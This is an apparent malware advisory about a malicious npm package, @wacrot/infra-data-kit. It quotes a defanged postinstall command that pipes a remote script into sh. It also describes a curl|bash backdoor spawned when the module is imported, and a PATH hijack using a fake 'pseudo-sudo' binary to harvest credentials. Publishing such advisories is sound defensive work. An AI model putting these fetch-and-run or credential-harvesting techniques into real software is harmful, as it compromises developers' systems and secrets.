LWA-2026-4933 MAL-2026-5834 ↗ confirmed malware

@wacrot/infra-data-kit@2.1.4

Malicious code in @wacrot/infra-data-kit (npm)

T1059.004 · Unix ShellT1059.007 · JavaScriptT1105 · Ingress Tool TransferT1546.004 · Unix Shell Configuration Modification

Analysis

The postinstall hook (wget -qO- hxxps://web[.]stanford[.]edu/~pseay/pliant/setup[.]sh | sh) downloads and executes a remote shell script from a personal Stanford.edu directory — an established pattern for hosting payloads on compromised .edu accounts. The bundled setup-env.sh downloads two binaries named 'pseudo-sudo' and 'et' into ~/.so-sorry-sarah and prepends that directory to PATH via shell config modification. 'pseudo-sudo' is a strong credential-harvesting indicator (sudo impersonation). Separately, src/index.js defines and calls addSupport() at module load time, which spawns a detached unref'd bash process that pipes curl|bash from example[.]com (a placeholder; the scaffold for a remote payload is present). The library code (GIS data parsing) is a decoy — well-written and documented, but the real purpose is the postinstall payload chain and the dormant spawn-on-import backdoor. The publisher uses a disposable duck[.]com email. No token-theft markers were found, but the credential-theft vector (pseudo-sudo) and multi-stage remote execution patterns are clear.

analyzed by
Leitwacht
first seen
Jun 12, 2026, 11:06 PM
analyzed
Jun 12, 2026, 11:07 PM

Related advisories

browse all confirmed advisories →

Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.